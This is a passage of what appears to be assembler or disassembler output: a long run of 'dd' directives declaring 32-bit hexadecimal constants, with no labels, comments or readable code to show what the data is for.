4CBFE95Bh, 7DF82048h, 97EDD03Fh dd 0FEFC3F9Ch, 77EAA2F2h, 866EE77Dh, 0A16CBAE9h, 7DFDEA07h dd 0F26002CBh, 5B9EABE4h, 0ECC4124Ah, 5C0B73CDh, 7D3054EBh dd 64521AB1h, 0FC2CB915h, 123DF162h, 0CBABF4B5h, 0CCAE4A16h dd 585AC63Eh, 97C8C98Ch, 8168BD81h, 4EFDC266h, 9F729206h dd 9B83B27Bh, 2426E53Fh, 0ADB17E78h, 3F06329h, 8429CA1Fh dd 51C424ADh, 45848E94h, 0BF0005B6h, 18B8712h, 0E924F831h dd 888F9D66h, 0AEFC9E74h, 0FE87F68Dh, 5D2780CCh, 0B1C7C457h dd 0E45818E8h, 1C003D19h, 3C25402Ah, 1932C237h, 4EC9C5E9h dd 0B522685Fh, 14B052F4h, 853B872h, 0C7487002h, 79F72930h dd 150CA00Eh, 0C7529068h, 0A45B7A3Bh, 78613D1h, 0F608C3BDh dd 11E6D30Dh, 9FF2F4Ah, 0E4555C29h, 676834DAh, 53D0AAF7h dd 1C9138Dh, 71B95144h, 700A2E61h, 5095FAB0h, 0C36095A5h dd 0DFD41FF1h, 0E8EA03DDh, 0E97CA810h, 5E32362Ch, 13584413h dd 0CBAAC56h, 2EF63D75h, 0E0180B5Ah, 6F28295Fh, 89A73C08h dd 5D5AE0D4h, 0B7A901A2h, 0BE20FB72h, 0C1490CEEh, 80602E1h dd 83A7C495h, 0D6AEB09Eh, 0FA6A9D3Eh, 0AD357357h, 2F9D32A8h dd 0DCD415Eh, 0FD970A6Eh, 4146A5A3h, 8854D37Ch, 962468AAh dd 406B625Eh, 97A7E9DCh, 0EE577C62h, 2AF97E74h, 0BDF4315h dd 61E41C72h, 0F104BE9Ch, 46A74EBFh, 0D190B1E2h, 0EE587752h dd 0BC80FE20h, 0EE201FD5h, 0A3F10901h, 257D9AE2h, 2E8C4D50h dd 58321EB0h, 3038DF3Bh, 2206E573h, 211403Bh, 0CE5CFACDh dd 876B601Eh, 0A9E42545h, 0E9193278h, 0F2C331A0h, 0F0DCBC3Fh dd 4AD3E958h, 3A65ABB1h, 14E4E7BBh, 89AEB1B6h, 0B992D75Ah dd 6ED3F80h, 3CF61BBCh, 8B4CA969h, 8167F73Bh, 52ED5C27h dd 3E9F421h, 0BB3E81C7h, 0D7D6C5Ah, 5FE2A9EAh, 88DDB984h dd 7EFA53D7h, 0A9D3E3D2h, 0BC6BD1CEh, 75D12E98h, 1B264EFEh dd 95034F0Fh, 0E16DBE4Ch, 5DE4E8EBh, 0A70CCE55h, 0AF388585h dd 53800E84h, 0BB92534h, 8BAFE942h, 68143064h, 0C7A66223h dd 0B3DA11E9h, 761F6C89h, 6FE950A6h, 75FA629Dh, 8022B0EFh dd 62AB594Eh, 0CCB1840h, 837106F1h, 7E5FB90Ah, 0C1C80219h dd 37C65196h, 5409AA46h, 746A9F73h, 56706B5Dh, 1A16BB0Bh dd 0F8178931h, 0A0DA277Fh, 0D4680D18h, 0A88C1F4Eh, 8CA65B9Dh dd 0A3C0CBA7h, 82047C7h, 7E3C0B23h, 5EFA4F29h, 991E912h dd 5AD5E245h, 0AB4A6EBCh, 8E582D9Fh, 4B1EC724h, 9EA2895Fh dd 19DB9FE2h, 0CB209C2Ah, 0DD8495B8h, 0D9108255h, 0E1D5BA4Ah dd 0B63B06C9h, 9FE98274h, 5DFB75B0h, 0D6BC5C16h, 0D0BE66A0h dd 0FBB0D5Fh, 0C125FB3Ah, 7FA3AEE6h, 8BB91F7Fh, 2A419A4Eh dd 76CE357h, 6523F10Ah, 75B8D150h, 0E335FC29h, 684B5D7Eh dd 0F2E6CF5h, 2DC0584Bh, 6CE915C9h, 156C3AAh, 17C3D327h dd 0F8E2DCDFh, 0B7D01C5Bh, 7BEE9C2Ch, 19EA2C6Dh, 0A5FA92C9h dd 0B9E87A75h, 0A282E9B3h, 93D1D3E9h, 1CE87CB4h, 0B5C5AB40h dd 0C1173952h, 0BF046016h, 8A1EC67Bh, 88A95C94h, 0A72DEEE0h dd 0E8AF5E0Ch, 27D24A4h, 0F9794518h, 5289A275h, 472EFCE4h dd 0D00456h, 0E9C33059h, 626FF9A1h, 560BFF3Bh, 4A505819h dd 0D5E6D5CBh, 26D2AE00h, 0BB0E056Dh, 162A1B4Ch, 0DCBBC8FAh dd 0DFC1DB60h, 95766917h, 51292781h, 0CF6AD241h, 0A45E65A4h dd 0C05B12C7h, 0C268868Dh, 285F4E7h, 0D5DBC780h, 1B688160h dd 4CFC184Ah, 505997BDh, 41A07916h, 7AD8B808h, 97515166h dd 1DEA80CCh, 5FC2FE7Ch, 13DDE4CAh, 0B110B20Fh, 0A6305653h dd 30FB9582h, 0C389A226h, 81B55ECCh, 0A31A44E7h, 0AB237A72h dd 0C698105Bh, 0CFEF4AC5h, 68DB0539h, 30C00E8Fh, 674C2205h dd 0A28C0C7Bh, 0A5720362h, 22E90880h, 68077D9Ah, 76DF572Bh dd 55C3D3AFh, 0C8B803BDh, 0CEF58136h, 2A37E1E1h, 43E651A5h dd 2198B4Dh, 0F2151B0Ch, 41550978h, 517AFh, 50A2B62Ch dd 8491AFB4h, 3007B160h, 0C5970CCh, 99EBE9E6h, 690FF6CDh dd 6678F00Fh, 4F166EB4h, 5366285Ch, 36936804h, 1EF21F3h dd 0FA1E634Eh, 0D08E2018h, 0C882C882h, 89D42F80h, 5CA72C54h dd 0B13345C0h, 9DFD2EE8h, 0ABAD8512h, 0A15E859Ch, 72736D93h dd 0A4031248h, 0BA51A51Bh, 0E0A39081h, 8C98DA29h, 55399C4Bh dd 0D3F5F27Bh, 23A898FAh, 0C0898458h, 7E417DB8h, 0B3E1FB62h dd 0E0DDDF64h, 0A6225825h, 38268F0Eh, 0FFD1AB52h, 130C701h dd 1255179Eh, 0A42044Bh, 3AA68DA3h, 79B902ACh, 0B7D42811h dd 0E123C729h, 52E593BDh, 29B699EBh, 0F8D69F81h, 8C13D5A8h dd 5E1BB340h, 0BB2FE7F3h, 0C121E684h, 0C7F644h, 39805EB4h dd 0EC9F46C4h, 3ADC1EF4h, 0BFE98B05h, 47DA9A1h, 0E16709D6h dd 2B273BACh, 86E0E063h, 7F6FDB35h, 0FD51A2E6h, 88F0E00Fh dd 0C72DFA3Bh, 0C49ED9F2h, 85AC85A4h, 1D16EFEAh, 3B5A9DFEh dd 114C8CCAh, 7CC0E9C2h, 0C85A72F4h, 0BB1C513Ah, 426F2402h dd 9A5E034Fh, 414C6861h, 5B61A63Fh, 586744BAh, 1A6BA51h dd 1CBEF96h, 0BA20564Ch, 31059097h, 0F59CA2C3h, 0DF01F329h dd 20C25354h, 7E1FCF28h, 6884AE3Ch, 69A81033h, 65364CC1h dd 0F5803A7Bh, 4C0E3CBDh, 175BEF2Eh, 8482F632h, 30091B69h dd 0FE60C20Eh, 5AF0285Bh, 46B65205h, 98E0CAE9h, 3D847BBDh dd 102A07FEh, 0EC09DE6h, 853F27CDh, 0B3259C4Eh, 3531DD00h dd 0EAD37E03h, 80E0A050h, 0A833DEC6h, 40C00884h, 7F251132h dd 58C149E8h, 2C310416h, 83650EAh, 2BD15F25h, 0D5DA1B89h dd 51000B45h, 126192B9h, 593EC12Ah, 6E34BE1Bh, 56167FE2h dd 7FC0FC6Fh, 3F3181B5h, 0E87BA70Ch, 38A25FFDh, 51DF8D6h dd 0FD888EB7h, 4AA0E684h, 0EEDD4829h, 0BF4E8C5Ch, 0C14BBB1Eh dd 6759F49Eh, 6327D8B8h, 0FEA41F8Dh, 98305776h, 54BA8DF5h dd 0C0275276h, 18E74557h, 0C8882F1Fh, 584FC3E4h, 402E73B0h dd 0F5252111h, 0BDD6505Eh, 8FA828C5h, 0EB507401h, 9290E94Dh dd 47BF073h, 2842F468h, 0C01FF857h, 0BE4C3735h, 61B79139h dd 5A2C9E9h, 3FD55003h, 1468E0B0h, 0E97BE144h, 295EC0D7h dd 16F787FEh, 0D1BF7FE9h, 47FD0Eh, 734F2D68h, 0FD5F5B84h dd 2186177Bh, 5EDE5592h, 0C5461DDBh, 44796468h, 986CEA9Dh dd 5EBCE4EDh, 6543022Dh, 93947659h, 84BDECEFh, 0B0052868h dd 0CA4D828Ah, 0E7BE5805h, 478F16E2h, 73CC6C4Eh, 161769CCh dd 0B24C4323h, 3408C6D7h, 25EE7711h, 495C94A3h, 0F174334Bh dd 2D292E1Ah, 0B149616Fh, 0CB04495Ah, 46EA1592h, 66C19D80h dd 311658E2h, 2208B805h, 0F4D7EF4Eh, 0EF94C630h, 37E91710h dd 0A144A8A5h, 932AA9Eh dd 38CEC99Eh, 420325F1h, 0E7B028B3h, 16F967D4h, 0D8D92B14h dd 0EDA09D8Bh, 1FDDEE81h, 0F32DDE24h, 5488F40Bh, 339F627Bh dd 5BC1899Bh, 86738927h, 0B367DDE4h, 0B0187FA5h, 0C85075E9h dd 0FD95EA50h, 2BCC0831h, 6CAF2CC4h, 0E36B88B3h, 0E2AA5397h dd 16E08859h, 56817F57h, 9DCCBF70h, 684C8466h, 16F64658h dd 0F5FD2161h, 5CAF6883h, 0EFE7FE85h, 68E27097h, 0E6B735F7h dd 0C049829h, 50275377h, 72A66C8Ch, 7D58FBF4h, 9878F65h dd 6840A13Ch, 25922DECh, 6F69A185h, 23E5BCFDh, 0AAC5E0A2h dd 0FBD36ECCh, 0C788BC3Eh, 0EBCED929h, 0A9C6D7DCh, 12B3505Dh dd 4409F0B0h, 9F387361h, 5C0F1655h, 0BC263122h, 0A1F90592h dd 0CA0C7F01h, 90535932h, 5E0CC964h, 6804D3F7h, 8B26FA48h dd 0D4E4296Ch, 0B2C18146h, 6C087066h, 79E8160Ah, 0E12FD8A3h dd 0E3F04243h, 9A09BA52h, 5778C24Fh, 0D1730DEBh, 74F34B5Bh dd 0B2D60C7Ch, 30D6E749h, 0B6CCBDB4h, 0D278128Dh, 9A0BFC64h dd 0DC17C211h, 0D3F607A3h, 0AE143553h, 0BFE16E9Ch, 0AA62DE89h dd 565F2CDDh, 0DF371785h, 8036E108h, 0CE2C36Dh, 0C0552358h dd 0BF6A57C4h, 5E09BD70h, 0E2D343D7h, 7F76042h, 44CC2D2Eh dd 49C52075h, 0B7097546h, 0C251E9D8h, 0A1CB808h, 4F1DB83Fh dd 48A00262h, 9F712C29h, 5B914E98h, 0C50FFC2Dh, 79B5839Ch dd 0A2011293h, 5CB5D4Ch, 962453E9h, 0A364BF5Bh, 89A57CB5h dd 9A5F9073h, 8FD17D77h, 0DC7EABCFh, 0CFEBC212h, 2DD84C48h dd 93DC2E9Dh, 4EE9E6A4h, 353E07C7h, 2824A944h, 0C9CD80D0h dd 5007CC41h, 2252CE81h, 0DEE52057h, 5677D780h, 20709896h dd 0B81FCC5Eh, 47077DDBh, 5BC7D8F7h, 2214DDD9h, 0DDC00925h dd 0D95FDC49h, 0B413FFE6h, 8BBF222Ch, 55BC5AC6h, 0E102733Bh dd 3E95E947h, 0A6BB3254h, 0BD81C85Fh, 3F4663A7h, 442864E9h dd 0C062B402h, 835D04E4h, 0FE2BF44Eh, 82AB1C2h, 6813A076h dd 968A1D31h, 0F60A462Eh, 0E87D8925h, 0C080664Bh, 12EC805Bh dd 0A2E58877h, 3AFCC56Ch, 83C822ACh, 0A771682Fh, 3121311h dd 2D73FC5Dh, 957D508Bh, 0B85C15B0h, 20BAA7C0h, 3E649AF2h dd 8393D531h, 0C472B371h, 23F8EE01h, 5C8EEFD2h, 2FDA8A4Fh dd 0CEA97155h, 585023A9h, 6EBFBD05h, 95877093h, 7CAD02B1h dd 1883A720h, 0C65CD76h, 720AFA5Bh, 0DDEB0187h, 7D4BE904h dd 5813E6BBh, 5A2DD41Fh, 0FF0928Dh, 0FA6B502Ch, 4B4F7315h dd 503EA04Bh, 7C52B807h, 0C6902713h, 0BD8ADFE9h, 6D979DF1h dd 0DC601BB1h, 2D4A4BDBh, 5608A73Eh, 0BE52E4F7h, 31433C8Dh dd 0EC585EF6h, 1F4049Fh, 0C0AA110Dh, 6E9B2A86h, 6FFA18C1h dd 0A70691Ah, 0BB058040h, 1E993E1Dh, 0E7CBB85Fh, 7488D556h dd 55043C07h, 0C23B9A68h, 607F5DE7h, 12DEF58Ch, 0B0ED19FAh dd 0B229B0h, 0CE80C3C3h, 8ED29FFBh, 0AB83F730h, 63FEDCFh dd 70EF8087h, 285BF888h, 2C16B6C3h, 0DDBD0849h, 0D4009C20h dd 516A601h, 0C42442A8h, 0BDB052B6h, 8B5EC772h, 9A3EFD69h dd 7C533BF9h, 0D1E6AF57h, 0FBB6E916h, 987D2289h, 70143201h dd 1954017Ah, 9E680C00h, 2969B2Ch, 2656672Ah, 8BBE1F5h dd 8955DB02h, 34B0DAB7h, 0C0BBA7FAh, 7245AC0Ch, 63B0234Bh dd 12542E6Eh, 0B16C0B11h, 0F215E475h, 0CB39E3F5h, 0F91F5E04h dd 0DE5A8771h, 538C7E0Ah, 882DDD7Eh, 70FAEBEBh, 0D398F61Bh dd 0EB25095Fh, 16BEA354h, 8FABE244h, 7B851337h, 0DA1395F3h dd 3AA99932h, 30E9B898h, 0CF9B33DCh, 32262514h, 6600C72Eh dd 0C1728460h, 490305E1h, 0FDC358E9h, 3462D074h, 4FEC477Ah dd 7462F32Fh, 0A526DC5Dh, 621594FFh, 82F1A2C2h, 6816B4EEh dd 4EF97509h, 258EE9A1h, 2CBB2B43h, 0DE9787D1h, 9648EB3Bh dd 8AB2465Ah, 4F71FEB5h, 0B8EBB87h, 955D9E7Dh, 824392D7h dd 39C2783h, 0FFE52668h, 5AE9252Ch, 80161E6Ah, 354F13BBh dd 3AB4D14Dh, 7B228801h, 0BB3C29CEh, 2D970532h, 2808C651h dd 0EEBA0385h, 319976C2h, 62B22AD7h, 0C9E9F8C1h, 68590013h dd 0FD164F60h, 93E9854Bh, 0C6B4BBF1h, 2DDAAAAAh, 2B5A5719h dd 0F0E76E58h, 5941A895h, 7382C604h, 9C5009D4h, 314D3962h dd 895FF9D0h, 5C568568h, 49805665h, 7FAB7034h, 235D2965h dd 6A1CB0BDh, 2BEB8835h, 0E2BE0E12h, 6AFC4E98h, 0B8CD4338h dd 8B120593h, 0DF43887Ah, 67DD1716h, 562B9287h, 0D85B13E6h dd 0E8BE690Dh, 824D7425h, 1D381F43h, 0CBFCCD4Ch, 1C980371h dd 6AABE655h, 0C8A66FB2h, 5F5B5907h, 7559C821h, 661AAFC8h dd 0A7744597h, 9C889276h, 0BBD139Eh, 0B082EF3Ch, 0FF0B9839h dd 2FF9B00Dh, 0CC406616h, 51BF57D3h, 68CB2F71h, 6757808Bh dd 2E906FAh, 60B54F50h, 0C0A8C842h, 7BC5BF72h, 0F73F759Ch dd 0DA1112D7h, 76B68BEFh, 28D9EA04h, 0D5FC237Ch, 0AB3BE90Dh dd 2E79D561h, 0EE4F2DCEh, 0ED4FC82Eh, 684B5A1h, 10E64C15h dd 5F3E82CFh, 0D1053B2h, 687998FDh, 67BB8037h, 625D27h dd 2D0342F2h, 0DD292F4Fh, 212FF996h, 0E084DA9Dh, 2E5EF044h dd 2050CD29h, 0E596308h, 5C811DFFh, 74852D5Bh, 9B309941h dd 0CC6502A4h, 58C72169h, 7ECE4961h, 805A32EDh, 0FBB78287h dd 78B05790h, 5EDA0128h, 5DE2B027h, 0F6E17C3Bh, 918928Eh dd 2443900Fh, 0ECC8167Fh, 0A41A1736h, 5FBC097Dh, 408D14D5h dd 569FE73Ch, 0A8666281h, 0C1CD93F7h, 5F006E16h, 334E1568h dd 4071B8Ch, 0E957F246h, 0CD439554h, 7859430Dh, 1988A009h dd 0DA25685Bh, 0B050808Eh, 0F5D67850h, 98AAA758h, 82FD4A3Bh dd 0E7AEE85Fh, 26D0BD7Dh, 7CECE85Ah, 2DD029B0h, 0FC17740Ch dd 523DB836h, 8106473h, 4B8581Ah, 2D91218Bh, 24FAC5C4h dd 50A9099Bh, 0D95327FCh, 0FD34AA31h, 0A9034B7Fh, 0C465C5CBh dd 0A55E27B3h, 0A5AC4342h, 1ED1B14h, 41383B94h, 0A7A89295h dd 0A22CBF4Fh, 0E905F79Bh, 6E0A9F81h, 0D3938DA1h, 0B055A78Ch dd 0B6E22452h, 4C1052A4h, 0D24DD1E9h, 58C50B77h, 7BEC5Ah dd 53799C68h, 0C8015934h, 0B34AEBB0h, 0D12AA0E5h, 0C152B1A2h dd 8B285CBh, 0D1A25BDAh, 997CC4C5h, 0D6C77AAFh, 0B26A0ACEh dd 0B5C3B753h, 293BD069h, 0A2C1FCF1h, 0A1978408h, 0E458FAEh dd 0D8B3E955h, 164FF721h, 0EC6D0E42h, 4CF35FA2h, 65F1047Fh dd 0C08E7357h, 0FE74C786h, 0B5B55E4Fh, 0F2820805h, 3FC097Ah dd 26661388h, 0B31709DBh, 7A895D79h, 83EE5F88h, 0D638D57Dh dd 9EFA4A9Fh, 8CAB4B5Bh, 5660253Fh, 7D4FBE16h, 0E672C992h dd 715F8F29h, 0C36870ECh, 79E62C4Fh, 0B9504242h, 0C9454A72h dd 0B4D0E0E3h, 68BB64C0h, 1839A458h, 0D601C383h, 0AB4C207Ah dd 0C2321024h, 5B505830h, 850DB02h, 0DDA5FBBh, 7438F79Bh dd 0D94B10E9h, 850A54ABh, 0F64EAC38h, 32831095h, 2E79C65Ah dd 0AF840F0Ch, 5B68AB58h, 8524CD1Ch, 9BAAE94Dh, 12F950F4h dd 0AC3F430Fh, 0F50C2F73h, 2394C696h, 93758E00h, 8C6C2963h dd 14000C82h, 3E4D5408h, 766943B1h, 3955F228h, 0F4655298h dd 0F2A7072Bh, 16EA3112h, 0DC172088h, 66E4C15Ah, 76BE7D56h dd 8728486Bh, 14525E18h, 0F30912A0h, 7EDEF761h, 54C6812Fh dd 3AEC3E62h, 0D1A55E87h, 4A54DFFEh, 0A83ADFF5h, 0DB98E52Fh dd 5BFB22E9h, 0FEF16195h, 903AA4E9h, 15ADCF06h, 0E1CAA3Bh dd 0D8C24CEFh, 0B5C79888h, 471345Eh, 63D19C3Ah, 0A5B6774Ah dd 0B276E014h, 299805D2h dd 0B29ACCC5h, 0B3538200h, 3EB8054h, 84CB5FFEh, 0AEA8C7D4h dd 0F3A2C8EFh, 5162304Bh, 2CAE78FFh, 41045C79h, 241CD8D7h dd 7F2E3EC8h, 0AC2465E2h, 759708A0h, 0FB473B19h, 0B22DD600h dd 3196DE79h, 97C3B8C3h, 0B556F509h, 827ECC5Ah, 0EC13DD67h dd 0B800C1EAh, 48A5192Dh, 9130F94Ch, 0F569EBA5h, 1673AF4Ch dd 3E317338h, 0EC2E1CF7h, 62C7B0EEh, 0AE3A0F5Dh, 6D84B32Dh dd 11CC852Eh, 0A25A0821h, 3B6A48E3h, 769577F3h, 0C7D7DABEh dd 29E20ACh, 49AE4EA0h, 0FBAB9DE9h, 21E8CEDCh, 72CD5627h dd 697253FFh, 6E98EA44h, 0AE58E91Ah, 0E560DD2Ah, 4FB0B03Fh dd 465F6197h, 0C3695D3Fh, 913CD160h, 0B2A026DAh, 0F66EF480h dd 27AADC58h, 0EB38DE9Eh, 5B6FB364h, 5E5F00AAh, 0E23EE281h dd 0C423508Eh, 1CF06E4Ah, 4323528Bh, 0B2CD5F7h, 0EF08C35Ah dd 9F541D43h, 31262059h, 4A613ED9h, 1F89165h, 0F15D824Ch dd 0BF0FA0B1h, 2008D961h, 8E406A5Ch, 0E8C1F3B5h, 0B520BE60h dd 0E924344Ch, 73A512F1h, 9EF8C9EDh, 51E9500Dh, 0AE2024BDh dd 0F3189504h, 649F9353h, 68512C60h, 1049098Eh, 0D6D301FDh dd 0E17E0855h, 9BD686E1h, 481A4131h, 112D7E05h, 44277FD4h dd 0D6E78AACh, 8D502CCh, 0DAF7224Ch, 97DCB570h, 78731F0Dh dd 0A489BD7Bh, 9F0E0FAh, 2CAE735Fh, 6C1EB85Bh, 0C1C1DB3Ch dd 0A6E906E0h, 0A74BEF3Ch, 89E98F77h, 4F5C5148h, 0FBB4565Fh dd 72CDF745h, 10B9E2FAh, 11FAF8Ch, 0E820FFC6h, 25CF893Fh dd 0BB8D009Fh, 90200323h, 0DDEB045Bh, 0BA7B5570h, 0DFC9BBACh dd 9A092CFCh, 5B8ADEF9h, 54B96E00h, 2D778F29h, 0A565137Bh dd 51190B1Ah, 1BD38210h, 0C04DD22Ah, 6B375FA0h, 0BDA05671h dd 9A3E5866h, 22F3026Ah, 0DD5F2F0Fh, 0E88DFF04h, 1C4330F5h dd 7E0DE1F0h, 5BD828A9h, 9C34F4CDh, 98ECAF86h, 0E84A527Fh dd 474F5BC1h, 0EF3660C6h, 321D3F10h, 0FF614E25h, 62EEA7B2h dd 5E9E11C0h, 0FC6EC835h, 0A7AEE412h, 0D55C2FE5h, 0FC9F6E9Eh dd 2CEC68E0h, 0B6210936h, 9F4FA9F1h, 7DAE7157h, 5B400AB3h dd 0EE817130h, 70520EA6h, 10D30156h, 0B25F084Ah, 2D5BD42Eh dd 11135FB3h, 0D17D07CAh, 0B85001B7h, 0F3C1446Dh, 4F6299F7h dd 0E9F1AC54h, 0CCD65E3h, 0F7A4FF3Ah, 0A003E4C1h, 307724A9h dd 47A20AD8h, 1F03A4Eh, 8C2D668h, 0BF967F2Fh, 0D0E12A4Eh dd 0E5E1EC2Bh, 0AE440EA6h, 0AFD24B62h, 82CC15C9h, 7422F19h dd 0B5044560h, 2FBBE6B5h, 0A7D96EF9h, 44D85569h, 0A0136648h dd 96473768h, 0FE4A6239h, 0B00CC5DAh, 7A3D4142h, 850E39C6h dd 8870C60h, 0CDF81ACEh, 0D02A690Fh, 54E58002h, 0B07DD456h dd 52503B1Dh, 0CDE26427h, 0D095EA6Ch, 48FBB5DDh, 6F66BD01h dd 0F6AD1C60h, 96BE5F60h, 45427600h, 6DA1E681h, 0C68608Eh dd 3DDA3517h, 0AA0896B4h, 595B0195h, 2A66E328h, 191A3FBDh dd 79DFCE76h, 708C4249h, 1EABD20Ch, 0CB1B7C7Ah, 0EC5598DFh dd 0A6892421h, 0BF56657Eh, 0FA96DEE2h, 49363B2Dh, 0EFA86812h dd 404FF160h, 0C1FB9D25h, 0FC09A320h, 651C74h, 0C22BEBCCh dd 0D5292E3Dh, 60DE6FE3h, 5DA4BB00h, 0E3810C32h, 80913BDh dd 363D0E01h, 0B8051325h, 5452049Ah, 89AA7D67h, 5642645Ah dd 0D736816h, 52129BE3h, 0D3AEE96Eh, 3186C8A8h, 0F05006C6h dd 563E6806h, 0D744DF73h, 0B800E406h, 726B03F2h, 58C32905h dd 0A6EF3C8Bh, 62AF9281h, 0DCA50B45h, 1636F229h, 4F634A0Dh dd 13B1330h, 0DEDBBCD0h, 1989C104h, 8D925CB2h, 42326033h dd 41FF7F4Eh, 5561E169h, 0C4EBEBB8h, 48B0E7ACh, 5FD001FDh dd 64E94B43h, 251664DAh, 0EC576F67h, 0D45CB5B4h, 0FC9B9689h dd 0E9125C85h, 58BC8AD0h, 7A6E6C4h, 74F4018Fh, 163119B1h dd 608ACAE6h, 9747EB4Fh, 0D1F8A5F0h, 20838B97h, 2482D96h dd 12618C5h, 335EC2C8h, 10E9AF4Ch, 680A5C34h, 0C0AD4421h dd 41C049BCh, 0E4BE30CFh, 31806CF8h, 130B0FB4h, 4254E92Ah dd 98F6801Bh, 6BEFADE1h, 33013ACBh, 157D678h, 22E07EF5h dd 735B9F18h, 8B11D54Bh, 0A4A92C5Dh, 37F788C0h, 0BB140271h dd 3AB16F62h, 0C040C2DFh, 2D834B02h, 0C17CD156h, 0FE901909h dd 31687050h, 4BB30153h, 86C968F2h, 0F9AA6B70h, 2F63BC77h dd 9F717C57h, 69D7A525h, 0CD3C92ADh, 0BF75315Fh, 0E95DEC6Eh dd 0FF804679h, 18594830h, 0BEC1F784h, 0E6D9FEA2h, 5E0DA502h dd 60E905BDh, 0E0DDFABBh, 9D832DECh, 35E13CEEh, 8DD6A8Eh dd 0B49CB83Eh, 7FBB3F82h, 0E7E90E81h, 7F317AD3h, 0FB2A5450h dd 0E97F4F3Dh, 0E7D693BBh, 655D07C0h, 194F3E1Eh, 114B7BE3h dd 97778A04h, 0CBF18003h, 0BEEBB4C7h, 4A8BDF28h, 0D347E9B4h dd 3CE9A061h, 6051B838h, 0B0700D60h, 39950968h, 0F45A1DF8h dd 4C47A909h, 18BB8029h, 0C16C8217h, 0BF4AB118h, 5D7E9348h dd 244EEE9Ah, 0C085FFA1h, 5F774C82h, 1A49F26Ch, 5EB802E1h dd 0DD71A248h, 5A53037Ah, 1CF5126Ch, 0BD10D7A3h, 6F5D29FDh dd 89BF5817h, 9A210CBAh, 0C2E8B74Fh, 0C038A0A5h, 2DDB9084h dd 20C47201h, 400DB2F0h, 72AE9CE9h, 9F62B20h, 2CF7E2BDh dd 204F5BE1h, 88C0850Ah, 0E9D7214Ah, 943D4CF8h, 2D28CCA5h dd 0F7429D12h, 52844E8h, 0AC5B9507h, 6B10E226h, 2FEB680Ch dd 214F8FCDh, 12CFAA88h, 0BA681A5Eh, 812F2C4h, 41679CA0h dd 0A07FDE7Bh, 1B3E870Bh, 0FCFDED65h, 0EA2113D4h, 41AC4E45h dd 7E0678D3h, 3CF02B2Bh, 5E08A0EFh, 1774B75Ah, 0F742EA2Fh dd 0ECB05547h, 0EB441D14h, 5C1E2F0h, 0E9189709h, 3A96F191h dd 84E02EA1h, 11E29156h, 0FB89193Ch, 0E13E5F61h, 9BDE2EA5h dd 230A445Eh, 0CA5809FDh, 4A52C20Dh, 74C4BC38h, 474B73Ch dd 1B55E49h, 1548512Dh, 89042B5Fh, 6807AA91h, 703CA3AFh dd 8BAB2BD1h, 7017B272h, 9DA0B0DAh, 4755AC89h, 6078ADBAh dd 0E2CCF1BDh, 7848EFE9h, 0FF66C280h, 30433AD8h, 75DA05E8h dd 4BB72D38h, 45BAD5C0h, 952EE9CAh, 12B3AB86h, 0CFFE5C80h dd 844CCEE9h, 1F6F8090h, 7F59769Eh, 1212C729h, 0A8208501h dd 0E0743FC4h, 31F8B92Ch, 6843099Ch, 0DF98778Ch, 1E18B850h dd 0E3CAFD28h, 0AA0204D7h, 7224CE9h, 8D72C229h, 0B52CE4E1h dd 0EA007750h, 0DA19A351h, 0FA5AD331h, 8AE92EDBh, 9804A822h dd 0BC759554h, 1842BDF7h, 988E2B7Eh, 89BF1663h, 5B0B93FCh dd 92313F87h, 47AD2CAh, 1201D42Dh, 2F3B96F0h, 0CBDA6289h dd 0C060883h, 1EAE4065h, 66C0A28h, 0E74E7ECFh, 9C57F983h dd 0AD622E59h, 0B515C269h, 0C70248EAh, 0F521DD66h, 4FFD1EA7h dd 28AAC731h, 12687A8Bh, 0EB676475h, 5B396A01h, 0D67C5038h dd 9BB0C305h, 19BA0A36h, 81D1A7CDh, 0FDB3D962h, 1A097723h dd 0EA8AFA85h, 9104AB4Eh, 0AD136FA5h, 0AC1B2ABDh, 6AE471BDh dd 0A05145C1h, 790BBE7Dh, 5D11E308h, 0A6042ACBh, 3E98156Fh dd 567628FBh, 270AEEBDh, 9EF0EEE9h, 5749DB91h, 58549CA2h dd 0BFEAF2D5h, 0E44F18F8h, 71AA3D84h, 8262AE07h, 6A09C589h dd 79A67D96h, 99E11EDh, 797D5CC9h, 29C7305Ch, 643595BBh dd 82556FEh, 5E094360h, 0C11C8B51h, 0B968013Eh, 0B49B4486h dd 205CB0C6h, 0BFC74B99h, 0C159C500h, 0D24F07EFh, 5FE2A008h dd 24CF1D17h, 0CD6640EAh, 0FB23132h, 24751280h, 22123B6h dd 43931094h, 0C7A4A07Fh, 50F73102h, 0FB2BC240h, 82863CDh dd 9148842Fh, 0C39F5BDFh dd 2461D9BFh, 0E5C69596h, 0DE0CA714h, 142C436Eh, 8BBDD776h dd 0ED502086h, 0F6EB303Eh, 0BFC24AFAh, 4AF949C8h, 2350D30Ch dd 0A172B8B5h, 0A776B47Bh, 7E503D54h, 821E5A53h, 0AF455BB3h dd 47B35C93h, 9502E983h, 8EA6BE85h, 6006257Ch, 82EEEAD2h dd 290BB2B4h, 289157D9h, 84442F56h, 0A8ED88CAh, 0B8C51550h dd 9EEB1F8Eh, 0E8D7DD2Dh, 17B2B19Eh, 69CAB7Bh, 0FBD85B29h dd 0C682B535h, 0B1024687h, 0AEEA01E8h, 8214A569h, 122D740Ch dd 5DEFC26Fh, 0C09F105Ah, 7B102FE4h, 0C8883547h, 7C4F013Dh dd 32064579h, 0FE52CB93h, 35790085h, 0C8894E32h, 96F20BEh dd 0BEC938C2h, 0ECBB12FDh, 0AC94BA47h, 0BBC995EBh, 909301B6h dd 9536E962h, 9163FDB6h, 0EDAD02B0h, 0C44C239Dh, 0E2165F43h dd 0B7CA1B78h, 8ACA8660h, 0F1928C73h, 54C50129h, 200F2228h dd 0CB5A316Ah, 0B3C107EFh, 49F15509h, 4DA2A39Dh, 0E912F96Bh dd 3A0FDB8h, 7606E7F7h, 950C0116h, 0E9341B17h, 0A255C652h dd 0C34A5F41h, 7A33D95Bh, 3BF8B22Bh, 8AC96C0h, 64898200h dd 9056815h, 1EE35D73h, 0D82241DFh, 40CE220h, 0D13D356Dh dd 0A1F500E5h, 0B41CF8FCh, 0C2090908h, 8013C577h, 5332BCDh dd 0E927FA21h, 0CE2C2063h, 5F0A7B7Dh, 3DA2A067h, 2CABDB5Eh dd 0AE503155h, 1A392377h, 45E54ED1h, 0C58B22Ah, 2407E7C1h dd 0E5521F4Ch, 0E992FC09h, 6B0EF1CFh, 73A285ECh, 3CAF79D7h dd 5385EA27h, 0B2A2BE59h, 0C37F9D6h, 2ACBB0E9h, 4B1CECACh dd 0A300FC9Fh, 56790123h, 70634C68h, 1A992044h, 46B7155Bh dd 13314B58h, 0A893EFh, 183E05ADh, 881A8F4Eh, 651457EAh dd 